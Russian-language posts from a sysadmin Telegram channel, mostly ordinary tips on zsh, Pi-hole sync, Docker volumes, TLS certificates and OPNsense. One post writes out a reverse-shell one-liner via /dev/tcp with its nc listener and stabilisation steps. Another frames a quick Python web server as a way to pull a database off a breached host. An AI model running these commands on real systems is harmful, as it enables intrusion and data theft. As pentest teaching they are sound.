Например, говоришь кандидату — найди почему тормозит винт, либо — объясни почему скрипт жрет 50% процессора, а не 100%. Сразу вычислишь бродяг вайтишных, им даже ГПТ не поможет.
Короче такие вот приколы! Изучай!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
26 103
Bash, Devops и Linux это конечно замечательно…
Хотел тебе сегодня про «Симулятор айтишника» рассказать, но по РФ законам такой контент оказывается запрещен. Облом.
Приведу лишь цитату из описания:
Если гуглить умеешь, сам найдешь всё необходимое. Дерзай. SIMS на максималках.
🛠 #linux #games #debug
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Хотел тебе сегодня про «Симулятор айтишника» рассказать, но по РФ законам такой контент оказывается запрещен. Облом.
Приведу лишь цитату из описания:
Добро пожаловать в третью часть лучшего симулятора. Наслаждайтесь незабываемыми ощущениями, воплощая в жизнь свои фантазии и получая при этом деньги на обустройство дома и своей жизни.
Если гуглить умеешь, сам найдешь всё необходимое. Дерзай. SIMS на максималках.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 23
Привет, сегодня будем учить zsh автоматически перечитывать конфиг после изменения.
ㅤ
Каждый раз заёбисто делать
Поэтому открываем
Теперь после каждого изменения файла
Как это работает:
Нюанс:
Проблема в том, что zsh -n проверяет только синтаксис (скобки, конструкции), но не выполнение команд. Имей это ввиду.
Если сделать так:
То всё пройдёт замечательно. Ну ты понял к чему я клоню.
Тема прикольная, экспериментируй.
🛠 #bash #linux #shell
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Каждый раз заёбисто делать
source ~/.zhsrc после очередных изменений, да и плагинов я актуальных найти так и не смог.По-хорошему можно было бы и плагин для сообщества накидать, но я ленивая скотина и обошелся Bash скриптом.
Поэтому открываем
~/.zshrc и пихаем в него такое:ZSH_LAST_MOD=$(stat -c %Y ~/.zshrc 2>/dev/null || stat -f %m ~/.zshrc)
precmd() {
local new_mod=$(stat -c %Y ~/.zshrc 2>/dev/null || stat -f %m ~/.zshrc)
if [[ $new_mod != $ZSH_LAST_MOD ]]; then
if zsh -n ~/.zshrc; then
source ~/.zshrc
ZSH_LAST_MOD=$new_mod
echo "🔄 .zshrc auto-reloaded (OK)"
else
echo "⚠️ .zshrc has syntax errors — reload skipped"
fi
fi
}
Теперь после каждого изменения файла
~/.zshrc конфиг будет автоматически перечитан. НО перечитан он будет только после проверки, если ты своими кривыми руками где-то накосорезил — идешь нахуй. Логично? Логично!Как это работает:
1. Сохраняет timestamp последней модификации .zshrc
2. precmd() — специальная функция zsh, которая автоматически вызывается перед каждым выводом prompt (после любой команды или Enter). Вызывается незаметно, идеально для фоновых проверок без вмешательства в работу.
3. Дальше логика, сравнивает timestamps — если .zshrc отредактирован и сохранен, переходит к проверке.
4. zsh -n файл — проверяет синтаксис без выполнения (no-execute mode). Возвращает 0 при успехе, > 0 при ошибках (дубликаты, незакрытые скобки и т.п.).
5. Ну а дальше сообщает тебе, все ок или идешь нахуй.
Нюанс:
echo 'syntax error' >> ~/.zshrc
/home/user/.zshrc:226: command not found: syntax
🔄 .zshrc auto-reloaded (OK)
Проблема в том, что zsh -n проверяет только синтаксис (скобки, конструкции), но не выполнение команд. Имей это ввиду.
Если сделать так:
echo '# syntax error' >> ~/.zshrc
🔄 .zshrc auto-reloaded (OK)
То всё пройдёт замечательно. Ну ты понял к чему я клоню.
Тема прикольная, экспериментируй.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 46
Синхронизируем настройки Pi-Hole между инстансами.
ㅤ
У меня в сети живет несколько нод с pi-hole, которые раскиданы по разным устройствам (proxmox, raspberry pi и т.п.). И сразу встала необходимость, чтобы все ноды с pi-hole имели одинаковые настройки.
Стратегия такая, одна нода будет master, где производятся все основное настройки, затем все эти настройки раскатываются на другие ноды (slave).
Раньше такой кейс разруливали с помощью Orbital Sync, Nebula Sync и т.п. Но одно сдохло, другое работает через хуй-пизда-копыто. Короче нужно рабочее решение.
Пишем свой велосипед
В
Сохраняем, чмодим, кидаем в крон (а лучше в systemd с таймерами):
Не забываем прокинуть ssh ключи с master на slave, чтобы скрипт не уперся рогом в логин и пароль.
Вроде мелочь, а полезная, да еще и на bash. Хороших тебе предстоящих выходных и береги себя!
🛠 #bash #linux #devops #selfhosting
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
У меня в сети живет несколько нод с pi-hole, которые раскиданы по разным устройствам (proxmox, raspberry pi и т.п.). И сразу встала необходимость, чтобы все ноды с pi-hole имели одинаковые настройки.
Pi-hole — это сетевой DNS‑фильтр и блокировщик рекламы с открытым исходным кодом. Он работает как свой DNS‑сервер, перехватывает DNS‑запросы от устройств в локальной сети и блокирует домены из списков рекламы, трекеров и вредоносных сайтов, возвращая «пустой» ответ вместо IP‑адреса рекламного ресурса.
Стратегия такая, одна нода будет master, где производятся все основное настройки, затем все эти настройки раскатываются на другие ноды (slave).
Раньше такой кейс разруливали с помощью Orbital Sync, Nebula Sync и т.п. Но одно сдохло, другое работает через хуй-пизда-копыто. Короче нужно рабочее решение.
Пишем свой велосипед
#!/usr/bin/env bash
set -euo pipefail
PRIMARY_PIH_DIR="/etc/pihole"
SECONDARY_USER="root"
SECONDARY_PIH_DIR="/etc/pihole"
SECONDARY_HOSTS=(
"192.168.10.97"
"192.168.10.98"
"192.168.10.99"
)
RSYNC_EXCLUDES=(
"--exclude=pihole-FTL.db"
"--exclude=macvendor.db"
"--exclude=*.log"
)
echo "[pihole-sync] $(date): start"
for host in "${SECONDARY_HOSTS[@]}"; do
echo "[pihole-sync] ---- host ${host} ----"
rsync -az \
"${RSYNC_EXCLUDES[@]}" \
"${PRIMARY_PIH_DIR}/" \
"${SECONDARY_USER}@${host}:${SECONDARY_PIH_DIR}/"
echo "[pihole-sync] ${host}: restart dns"
ssh "${SECONDARY_USER}@${host}" "pihole restartdns >/dev/null 2>&1" || \
echo "[pihole-sync] ${host}: FAILED to restart dns"
done
echo "[pihole-sync] $(date): done"
В
SECONDARY_HOSTS забиваем айпишники slave инстансов, этакий массив. На этом настройка скрипта закончена. Весь лишний мусор вроде логов и статистики синхронизироваться не будет.Сохраняем, чмодим, кидаем в крон (а лучше в systemd с таймерами):
Про таймеры подробно писал тут и тут.
crontab -e
*/5 * * * * /usr/local/sbin/pihole-sync.sh >> /var/log/pihole-sync.log 2>&1
Не забываем прокинуть ssh ключи с master на slave, чтобы скрипт не уперся рогом в логин и пароль.
Вроде мелочь, а полезная, да еще и на bash. Хороших тебе предстоящих выходных и береги себя!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 32
Volume VS Bind в Docker
Сегодня рассмотрим, как и в каких случаях правильно использовать bind или volume при запуске docker контейнеров.
Пересмотрев кучу docker compose файлов, можно сделать вывод — большинство даж не понимают что они делают. Что печально, прожжённые девопс-инженеры продолжают харкодить и творить дичь. Видимо придерживаются методологии — у меня работает, остальное похуй.
Вообще есть правило:
- Если нужно редактировать файлы руками с хоста, используешь Bind Mount.
- Если данные нужны только приложению (БД, логи, кэш) используешь Volumes.
ㅤ
Шпаргалка, что есть что:
Ну и никто не запрещает это совмещать, но старайся разделять. Тем более при работе с volumes, в docker есть удобные команды, ну и через midnight commander можешь физически потыкать файлы, при условии если есть рутовый доступ к файловой системе.
Самое главное не делай так:
Про этот случай я и писал в начале поста, вроде человек 20 лет отрубил в айтишке, а пишет хуйню.
Тут идет жесткая привязка к путям и после запуска наступишь на грабли, либо получишь по ебалу от бедолаги который это запустит. Короче так не делай!
Bind mount удобен при разработке и отладки. Ты монтируешь папку с исходным кодом проекта. Правишь код в IDE на хосте и изменения мгновенно подхватываются приложением внутри контейнера.
А еще есть полезный флаг: «RO», используется в ситуациях, когда тебе нужно что-бы приложение в контейнере не перезаписывало данные в примонтированном каталоге. Удобно для отладки или для каких-то ограничений.
Пример:
При всём желании, конфиг
Ну и пожелания:
- Используйте именованные тома, вместо анонимных томов (которые выглядят как длинный хеш
- Придерживайся принципа - «Один контейнер — один вольюм». Старайтесь не монтировать один и тот же вольюм в 10 разных контейнеров на запись. Если нужно делиться данными, один контейнер должен быть «владельцем» (RW), а остальные — «потребителями» (RO).
- Бэкап: Правило «3-2-1». Volume — это не бэкап, это просто место хранения. Если ты случайно ёбнешь вольюм командой
Используйте временный контейнер для создания архива:
- Docker со временем накапливает «висячие» (dangling) вольюмы — это те, что остались от удаленных контейнеров. Периодически запускай
- Разницы в скорости между Bind и Volume почти нет, оба работают напрямую через ядро. Но это зависит от операционной системы, если у тебя винда и 100500 абстракций, то будут тормоза.
Вот такие пироги, если есть чё добавить, жду тебя в комментариях.
🛠 #docker #linux #devops
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Сегодня рассмотрим, как и в каких случаях правильно использовать bind или volume при запуске docker контейнеров.
Пересмотрев кучу docker compose файлов, можно сделать вывод — большинство даж не понимают что они делают. Что печально, прожжённые девопс-инженеры продолжают харкодить и творить дичь. Видимо придерживаются методологии — у меня работает, остальное похуй.
Вообще есть правило:
- Если нужно редактировать файлы руками с хоста, используешь Bind Mount.
- Если данные нужны только приложению (БД, логи, кэш) используешь Volumes.
ㅤ
Шпаргалка, что есть что:
# Это docker volume, данные хранятся в
# /var/lib/docker/volumes/
volumes:
- nginx_data:/etc/data
# Это bind mount, данные хранятся рядом
# с файлом docker-compose.yml
volumes:
- ./data:/etc/data
Ну и никто не запрещает это совмещать, но старайся разделять. Тем более при работе с volumes, в docker есть удобные команды, ну и через midnight commander можешь физически потыкать файлы, при условии если есть рутовый доступ к файловой системе.
Самое главное не делай так:
Про этот случай я и писал в начале поста, вроде человек 20 лет отрубил в айтишке, а пишет хуйню.
volumes:
- /home/anus/conf.d:/etc/nginx/cond.f
- /home/anus/data/logs:/var/log/nginx
Тут идет жесткая привязка к путям и после запуска наступишь на грабли, либо получишь по ебалу от бедолаги который это запустит. Короче так не делай!
Я лично предпочитаю volumes и порой даже конфиги в нем храню, потому что этот volume можно легко примаунтить к любому другому контейнеру и получить доступ к этим файлам.
Банально возьмем связку nginx + php-fpm, используем один общий volume и php скрипты корректно выполняются.
Bind mount удобен при разработке и отладки. Ты монтируешь папку с исходным кодом проекта. Правишь код в IDE на хосте и изменения мгновенно подхватываются приложением внутри контейнера.
А еще есть полезный флаг: «RO», используется в ситуациях, когда тебе нужно что-бы приложение в контейнере не перезаписывало данные в примонтированном каталоге. Удобно для отладки или для каких-то ограничений.
Пример:
services:
web:
image: nginx:alpine
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
- ./logs:/var/log/nginx
При всём желании, конфиг
nginx.conf нельзя модифицировать из приложения в контейнере. Это можно сделать только на хостовой машине. Второй же bind mount по умолчанию - «RW».Ну и пожелания:
- Используйте именованные тома, вместо анонимных томов (которые выглядят как длинный хеш
4f32a...) всегда давайте томам осмысленные имена: db_data, app_uploads- Придерживайся принципа - «Один контейнер — один вольюм». Старайтесь не монтировать один и тот же вольюм в 10 разных контейнеров на запись. Если нужно делиться данными, один контейнер должен быть «владельцем» (RW), а остальные — «потребителями» (RO).
- Бэкап: Правило «3-2-1». Volume — это не бэкап, это просто место хранения. Если ты случайно ёбнешь вольюм командой
prune, данные исчезнут.Используйте временный контейнер для создания архива:
docker run --rm -v db_data:/data -v $(pwd):/backup busybox tar cvf /backup/backup.tar /data
- Docker со временем накапливает «висячие» (dangling) вольюмы — это те, что остались от удаленных контейнеров. Периодически запускай
docker volume prune. Оно удалит только те тома, которые не подключены ни к одному контейнеру (включая остановленные).- Разницы в скорости между Bind и Volume почти нет, оба работают напрямую через ядро. Но это зависит от операционной системы, если у тебя винда и 100500 абстракций, то будут тормоза.
Вот такие пироги, если есть чё добавить, жду тебя в комментариях.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
6 64
Ну началось…
ㅤ
Нашел я тебе тут новейший браузер для терминала. Причем не огрызок ебаный вроде
Называется это чудо Brow6el, из пакетов ты его не поставишь, потому что разрабатывает его гикнутый профессор, соответственно тебе придется собрать его самому из исходников.
Благо товарищ побеспокоился об ущербных и дал нам Bash скрипты для билда.
Поехали собирать:
Готово! Теперь запускаем:
Как это работает?
В основе лежит Chromium Embedded Framework (CEF), который рендерит страницы без графического интерфейса. Затем Brow6el преобразует полученное изображение в sixel-графику — формат, который поддерживают многие терминалы. В результате браузер выводит картинку в терминал и обновляет её в реальном времени.
Функции:
- поддержка мыши и клавиатуры
- обычный ввод и прокрутка
- вкладки
- менеджер загрузок
- система закладок
- приватный режим
- JavaScript-консоль
- внедрять скрипты по шаблону URL
Фича: ввод мыши возможен как с реальной мыши, так и через виртуальную мышь, управляемую клавиатурой, что позволяет работать даже если у тебя отсутствует мышь.
Возможно тебе сгодится для тайлинга или чего-то еще. Забирай в копилку.
🛠 #utilites #linux #terminal
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Нашел я тебе тут новейший браузер для терминала. Причем не огрызок ебаный вроде
lynx, а прям полноценный, с поддержкой графики, скриптов и со всеми современными технологиями.Называется это чудо Brow6el, из пакетов ты его не поставишь, потому что разрабатывает его гикнутый профессор, соответственно тебе придется собрать его самому из исходников.
Благо товарищ побеспокоился об ущербных и дал нам Bash скрипты для билда.
Поехали собирать:
git clone https://codeberg.org/janantos/brow6el.git
sudo apt install build-essential cmake gitlibsixel-dev libgtk-3-dev libx11-dev libxrandr-dev libxinerama-dev libxcursor-dev libxi-dev libglib2.0-dev
cd /tmp/brow6el
chmod +x download_cef.sh
./download_cef.sh
mkdir -p build
cd build
cmake ..
make -j$(nproc)
Готово! Теперь запускаем:
cd build
./run_brow6el.sh https://linuxfactory.ru
Как это работает?
В основе лежит Chromium Embedded Framework (CEF), который рендерит страницы без графического интерфейса. Затем Brow6el преобразует полученное изображение в sixel-графику — формат, который поддерживают многие терминалы. В результате браузер выводит картинку в терминал и обновляет её в реальном времени.
Функции:
- поддержка мыши и клавиатуры
- обычный ввод и прокрутка
- вкладки
- менеджер загрузок
- система закладок
- приватный режим
- JavaScript-консоль
- внедрять скрипты по шаблону URL
Фича: ввод мыши возможен как с реальной мыши, так и через виртуальную мышь, управляемую клавиатурой, что позволяет работать даже если у тебя отсутствует мышь.
Короче забавная штука, пользоваться я этим говнищем не буду, но как концепт потыкать вполне себе достойно.
Возможно тебе сгодится для тайлинга или чего-то еще. Забирай в копилку.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
6 77
Стабилизация реверс-шелла
Во время создания реверс шелла, управлять этим шеллом прям больно, привычные терминальные команды работают неадекватно. Сейчас покажу, как пентестеры приводят такой шелл к нормальному виду.
ㅤ
Для начала на своей машине запускаем:
Этой командой мы откроем порт
Теперь на подопытной машине запускаем:
Возвращаемся на свою машину и видим, что коннект произошел:
Отлично. Пробуем нажать
Стабилизируем shell
Отправляем консоль в бекграунд, нажимаем
Возвращаемся:
Нажимаем:
На этом всё! Теперь наш реверс-шелл полностью стабилен, можем пользоваться им в своё удовольствие, все привычные команды и сочетания работают отлично, артефакты не лезут.
Вроде мелочь, но в своё время кровушки многим попило, да чё юлить, сейчас молодежь которая встала на путь поиска уязвимостей с этим постоянно сталкивается. И что интересно на курсах про «стабилизацию шелла» никогда не рассказывают.
Вот такие пироги, изучай. Больше про реверс-шеллы, можешь почитать тут:
- Практикуем reverse-shells
- Генератор reverse-shells
🛠 #security #linux
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Во время создания реверс шелла, управлять этим шеллом прям больно, привычные терминальные команды работают неадекватно. Сейчас покажу, как пентестеры приводят такой шелл к нормальному виду.
ㅤ
Для начала на своей машине запускаем:
nc -lvnp 2288
Этой командой мы откроем порт
2288 на прослушивание, будем ждать входящее соединение. IP этой машины у меня 192.168.10.24.Теперь на подопытной машине запускаем:
/bin/bash -i >& /dev/tcp/192.168.10.24/2288 0>&1
Возвращаемся на свою машину и видим, что коннект произошел:
root@n8n:~# nc -lvnp 2288
Listening on 0.0.0.0 2288
Connection received on 192.168.10.31 47504
root@onlyoffice:~#
Отлично. Пробуем нажать
CTRL+L, для очистки экрана. Ага, хуй там плавал, видим только, что выводятся управляемые символы L^, аналогично не получится нажать CTRL+C и т.п.Стабилизируем shell
script /dev/null -c /bin/bash
Отправляем консоль в бекграунд, нажимаем
CTRL+Zroot@onlyoffice:~# ^Z
[1]+ Stopped nc -lvnp 2288
Возвращаемся:
stty raw -echo; fg
Нажимаем:
ENTERexport TERM=xterm
На этом всё! Теперь наш реверс-шелл полностью стабилен, можем пользоваться им в своё удовольствие, все привычные команды и сочетания работают отлично, артефакты не лезут.
Вроде мелочь, но в своё время кровушки многим попило, да чё юлить, сейчас молодежь которая встала на путь поиска уязвимостей с этим постоянно сталкивается. И что интересно на курсах про «стабилизацию шелла» никогда не рассказывают.
Вот такие пироги, изучай. Больше про реверс-шеллы, можешь почитать тут:
- Практикуем reverse-shells
- Генератор reverse-shells
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 63
Многих эта тема обошла стороной, дело привычки берет своё.
ㅤ
Я про
Современный docker давно перешел на
Теперь docker в приоритете ищет файл
Наверное ты уже замечал, что если в
Это нужно было указывать раньше, чтобы docker понимал какие поля разрешены и как вообще интерпретировать файл. Теперь это легаси и docker автоматически определяет версию, чтобы избавиться от зоопарка версий: v2, v2, v3.7, v3.9. Получаем один формат → одна логика → меньше гемора.
Но опять же если у тебя древняя ОС, выбора особо не будет, придется прописывать версии и поддерживать это наследие.
Пример с version или подстава. Создавалась это не для docker compose, а для docker swarm. В
Хм… 512 говоришь, хуй те! Эй OOM давай к нам, у нас тут пациент!
Ну и про
На сколько помню
Возможно ошибаюсь, поправьте в комментах.
🛠 #docker #linux #devops
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Я про
docker-compose.yaml. Так вот, в современных дистрибутивах не обязательно называть так файл, достаточно обозвать его compose.yaml и всё будет работать. Но при условии если у тебя не допотопная ОС со старой версией docker’a.Современный docker давно перешел на
compose.yaml. docker-compose — это отдельный python-инструмент
docker compose — встроенный плагин docker cli
Теперь docker в приоритете ищет файл
compose.yaml и только потом старый docker-compose.yaml. И так и так все будет работать. Оно пока на это не ругается, но рано или поздно к этому придут. Наверное ты уже замечал, что если в
yaml указать version: 3.9 оно скажет — ты ебанутый? Я пожалуй это проигнорирую.Это нужно было указывать раньше, чтобы docker понимал какие поля разрешены и как вообще интерпретировать файл. Теперь это легаси и docker автоматически определяет версию, чтобы избавиться от зоопарка версий: v2, v2, v3.7, v3.9. Получаем один формат → одна логика → меньше гемора.
Кстати аналогичная хуйня в кубере, где версию апихи указываешь в манифестах. Если ты не знаешь как с этим работать, будет тебе боль и страдания. За эту тему поговорим отдельно.
Но опять же если у тебя древняя ОС, выбора особо не будет, придется прописывать версии и поддерживать это наследие.
Пример с version или подстава. Создавалась это не для docker compose, а для docker swarm. В
version:3 Docker Compose просто молча игнорировал: mem_limit, cpu_shares, cpus, restart_policy, depends_on. Не было ни ошибок, ни предупреждений. Просто ничего не происходило. Контейнер запускался, но не как ожидалось.version: "3"
mem_limit: 512m
Хм… 512 говоришь, хуй те! Эй OOM давай к нам, у нас тут пациент!
version:3 — Swarm-спекаНу и про
yaml и yml пару строк. Можно писать так и так, оба варианта равноправны. Но всё же рекомендуется yaml, потому что это полное официальное расширение, так пишется в спецификациях и документациях. Плюсом это единый стиль Kubernetes, GitHub Actions, Helm и т.п.На сколько помню
yml пошел со старых систем, когда было ограничение в 3 символа, опять же наследие прошлого. Возможно ошибаюсь, поправьте в комментах.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 58
Как быстро скачать файл с сервера
ㅤ
Бывает ситуация, когда тебе нужно быстренько дернуть какой-то файл с сервера, но там нет ни nginx ни т.п. херни. Вспоминать синтаксис scp и ебаться с ключами тоже не хочется. Тем более для такой задачи ставить софт — ну такое себе.
Из ситуации можно выйти проще.
Заходим в любую папку с файлами и запускаем:
Если питон старый, потрёпанный и сморщенный как хуй, делаем так:
Затем курлим файл и скачиваем его к себе на машину:
А можем прям в браузере открыть URL и увидеть список всех файлов, кликаем мышкой и скачиваем необходимое.
Еще бывают случаи когда
Ну и в конце, когда получил желаемое, не забывай остановить такой веб-сервер. Изучай!
🛠 #security #linux #tricks
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Бывает ситуация, когда тебе нужно быстренько дернуть какой-то файл с сервера, но там нет ни nginx ни т.п. херни. Вспоминать синтаксис scp и ебаться с ключами тоже не хочется. Тем более для такой задачи ставить софт — ну такое себе.
Из ситуации можно выйти проще.
Этот способ в основном используют спец-люди, которые в результате blackbox вектора проникли на север и им нужно утащить жирненькую базу данных. Всё элементарно.
Заходим в любую папку с файлами и запускаем:
python -m http.server 2977
Если питон старый, потрёпанный и сморщенный как хуй, делаем так:
python -m SimpleHTTPServer 2977
Затем курлим файл и скачиваем его к себе на машину:
curl -O http://linuxfactory.ru:2977/bashdays_db.zip
А можем прям в браузере открыть URL и увидеть список всех файлов, кликаем мышкой и скачиваем необходимое.
Еще бывают случаи когда
curl не установлен, но wget есть из коробки:wget -O bashdays_db.zip http://linuxfactory.ru:2977/bashdays_db.zip
Ну и в конце, когда получил желаемое, не забывай остановить такой веб-сервер. Изучай!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
3 80
Получаем SSL сертификат на IP адрес.
ㅤ
Вот и случилось, теперь ты можешь сгенерить валидный SSL сертификат для айпишника. Не самоподписанный, а прям настоящий от Lets Encrypt.
Единственный момент, такой серт будет валиден несколько дней (160 часов), поэтому придется почаще его выпускать, сейчас ставят 5 дней для обновления, как золотую середину. НЕ рекомендуется ставить 6, иначе можешь словить граблю. Вообще acme сам всё в кроне должен прописать, но это не точно.
Пока это может делать только acme, все остальные (certbot, angie) совсем скоро к этому придут.
Да, для домаших айпишников увы, такая чача не проканает, при попытке получить такой серт, получаем ошибку:
Ну оно и логично, спецификации никто не отменял.
Я буду генерить для
Приступим:
Не забудь подставить своё мыло, а то меня спамом завалит и я буду материться на кота.
Конфигурируем
Создаем структуру папок и релоадим:
Выписываемпиздюлей сертификат:
Отлично, сертификат получили, устанавливаем:
Добавляем дополнительный блок в
Перезапускаем:
И радуемся, теперь у тебя есть валидный SSL на голом айпишнике:
Дело в шляпе, что сказать? Пиздато! Порой ОЧЕНЬ не хочется привязывать домен, чтобы обзавестись SSL сертификатом, теперь выход есть. Глядишь найдется хак, чтобы сгенерить подобное для 192.168.0.1, но наверное это из оперы моих влажных фантазий.
🛠 #linux #devops #ssl
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
ㅤ
Вот и случилось, теперь ты можешь сгенерить валидный SSL сертификат для айпишника. Не самоподписанный, а прям настоящий от Lets Encrypt.
Не путать с mkcert, это совсем другое.
Единственный момент, такой серт будет валиден несколько дней (160 часов), поэтому придется почаще его выпускать, сейчас ставят 5 дней для обновления, как золотую середину. НЕ рекомендуется ставить 6, иначе можешь словить граблю. Вообще acme сам всё в кроне должен прописать, но это не точно.
Пока это может делать только acme, все остальные (certbot, angie) совсем скоро к этому придут.
Да, для домаших айпишников увы, такая чача не проканает, при попытке получить такой серт, получаем ошибку:
Cannot issue for \"192.168.10.91\": IP address is in a reserved address block: [RFC1918]: Private-Use"
Ну оно и логично, спецификации никто не отменял.
Я буду генерить для
178.72.129.181 на котором у меня установлен nginx. Виртуалка прерываемая, так что денег практически не жрет, для тестов в настоящем облаке — милое дело.Приступим:
Не забудь подставить своё мыло, а то меня спамом завалит и я буду материться на кота.
curl https://get.acme.sh | sh -s email=shubkin@bashdayz.ru
Конфигурируем
default в nginx:server {
listen 80 default_server;
listen [::]:80 default_server;
server_name _;
location ~ ^/.well-known/(acme-challenge|pki-validation)/ {
add_header Content-Type text/plain;
root /var/www/letsencrypt;
}
location / {
return 301 https://$host$request_uri;
}
}Создаем структуру папок и релоадим:
mkdir -p /var/www/letsencrypt
mkdir -p /etc/nginx/ssl
nginx -t
nginx -s reload
Выписываем
acme.sh --issue --server letsencrypt -d 178.72.129.181 -w /var/www/letsencrypt --certificate-profile shortlived --days 3
Отлично, сертификат получили, устанавливаем:
acme.sh --install-cert -d 178.72.129.181 --key-file /etc/nginx/ssl/ip.key --fullchain-file /etc/nginx/ssl/ip.crt --ca-file /etc/nginx/ssl/ip.ca.crt --reloadcmd "systemctl restart nginx"
Добавляем дополнительный блок в
default в nginx:server {
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
server_name _;
return 403;
ssl_certificate /etc/nginx/ssl/ip.crt;
ssl_certificate_key /etc/nginx/ssl/ip.key;
}Перезапускаем:
nginx -t
nginx -s reload
И радуемся, теперь у тебя есть валидный SSL на голом айпишнике:
Общее имя (ЦС) YE1
Организация Let's Encrypt
Дата выдачи: 29 января 2026 г.
Срок действия: 5 февраля 2026 г.
Дело в шляпе, что сказать? Пиздато! Порой ОЧЕНЬ не хочется привязывать домен, чтобы обзавестись SSL сертификатом, теперь выход есть. Глядишь найдется хак, чтобы сгенерить подобное для 192.168.0.1, но наверное это из оперы моих влажных фантазий.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
12 45
Я тут недавно на новогодние праздники затеял переезд на новый периметровый маршрутизатор. Раньше я использовал pfSense, но с недавнего времени он перестал обновляться. Да и скачать его проблематично. В общем решил переехать на opnSense.
🔤 🔤 🔤 🔤 🔤 🔤 🔤
Сразу скажу, что это уже вторая попытка. Первая попытка провалилась из-за регулярных падений и отваливая интернета.
Доходило до того, что пришлось ставить еженочную перезагрузку. Но, скорее всего это была вина не opnSense, а железа. Машина была старая, память не ECCшная. И вот теперь попытка номер два. На мой взгляд довольно успешная.
ㅤ
Все работает, как часы. На мой взгляд - интерфейс гораздо удобнее, чем у pfSense. Логичнее, что ли. Я не использую его на всю катушку - так, несколько WAN, LAN, DMZ и WI_FI. Все разведено физически, без VLAN.
Единственный затык был с настройкой DHCP. Я так и не понял, зачем туда воткнули три DHCP сервера (Dnsmasq, ISC DHCP, KEA DHCP) Может старшие товарищи объяснят. Немного пободавшись, я решил использовать Dnsmasq.
В общем, переезд прошел удачно. opnSense понравился. На мой взгляд, вполне можно использовать так замену pfSense.
Как установить arpwatch я не нашел, поэтому по традиции написал простенький csh-скрипт для оповещения появления в сети новых связок IP+mac.
Но это в следующий раз. Всем стабильных сетей.
🛠 #networks #linux
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Сразу скажу, что это уже вторая попытка. Первая попытка провалилась из-за регулярных падений и отваливая интернета.
Доходило до того, что пришлось ставить еженочную перезагрузку. Но, скорее всего это была вина не opnSense, а железа. Машина была старая, память не ECCшная. И вот теперь попытка номер два. На мой взгляд довольно успешная.
ㅤ
Все работает, как часы. На мой взгляд - интерфейс гораздо удобнее, чем у pfSense. Логичнее, что ли. Я не использую его на всю катушку - так, несколько WAN, LAN, DMZ и WI_FI. Все разведено физически, без VLAN.
Единственный затык был с настройкой DHCP. Я так и не понял, зачем туда воткнули три DHCP сервера (Dnsmasq, ISC DHCP, KEA DHCP) Может старшие товарищи объяснят. Немного пободавшись, я решил использовать Dnsmasq.
В общем, переезд прошел удачно. opnSense понравился. На мой взгляд, вполне можно использовать так замену pfSense.
Как установить arpwatch я не нашел, поэтому по традиции написал простенький csh-скрипт для оповещения появления в сети новых связок IP+mac.
Но это в следующий раз. Всем стабильных сетей.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
В общем, поставил я себе opnSense и захотелось знать, не гуляют ли у меня в сети какие-нибудь «призраки». Решил написать скрипт для контроля связки IP-mac.
🔤 🔤 🔤 🔤 🔤 🔤 🔤
У меня три подсети
ㅤ
И да, у меня там статика. Есть конечно и DHCP, но буквально на пару адресов, на всякий случай.
Скрипт пришлось разбить на две части, потому что у csh не очень красивые переносы очень длинных строк.
Этот скрипт сравнивает значения текущих IP и mac, со значениями, сохраненными в файле
Если появилась новая связка — отправляется сообщение в телеграм о ВРЕМЕНИ появления(контроля) новых данных в формате UNIXTIME, и новая связка IP-MAC сразу дописываются в справочник spr.
Сами данные в телегу не отправляются — чтобы узнать, что появилось, придется залезть на машину и посмотреть grep/tail. Сделано это специально, чтобы лишний раз не светить инфраструктуру.
Ставим его на cron
Основная часть на awk.
1. Анализируем только строки, в которых есть mac.
2. Файлы справочника и вывод arp разделяем по числу полей (в справочнике их три: unixtime ip mac).
3. Из вывода arp убираем все, что не относится к подсетям DMZ и LAN.
4. Тупо сравниваем связки каждый с каждым. (осторожно на больших подсетях, поскольку N^2).
5. Если что-то нашлось - errorlevel=1.
Все можно было бы сделать быстрее и проще, но очень хотелось:
6. Отказаться от временных файлов.(в opnSense нет /dev/shm).
7. Данные дописываются в тот же справочник, из которого читаются. Это можно сделать, потому что на момент анализа (блок END) данные из справочника уже считаны и файл закрыт.
Вопросы и предложения приветствуются.
В следующей статье попробую описать впечатления и с какими проблемами пришлось столкнуться.
UPD: В комментах скрипт на sh
🛠 #networks #linux
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Первая часть тут: https://xn--r1a.website/bashdays/1356
У меня три подсети
192.168.0.0 = DMZ 192.168.1.0 = LAN, 192.168.2.0 = WIFI. Что творится в сети WIFI, меня не очень интересует, поскольку доступа из неё нет не только к LAN, но и к DMZ. Поэтому наблюдать будем две последние.ㅤ
И да, у меня там статика. Есть конечно и DHCP, но буквально на пару адресов, на всякий случай.
Скрипт пришлось разбить на две части, потому что у csh не очень красивые переносы очень длинных строк.
#!/bin/csh
#checkarp.sh
set dt=`date "+%s"`
set bot_id=0000000000:AAAAAAAAA1_aaaaaaaaaaaaaaaaaaaaaaa1
set chat_id=1111111111
set text="GATE: Есть изменения arp $dt"
arp -an| \
awk -v dt=$dt -f "$0.awk" /dev/stdin "$0.spr" >>"$0.spr"
if ( $status != 0 ) then
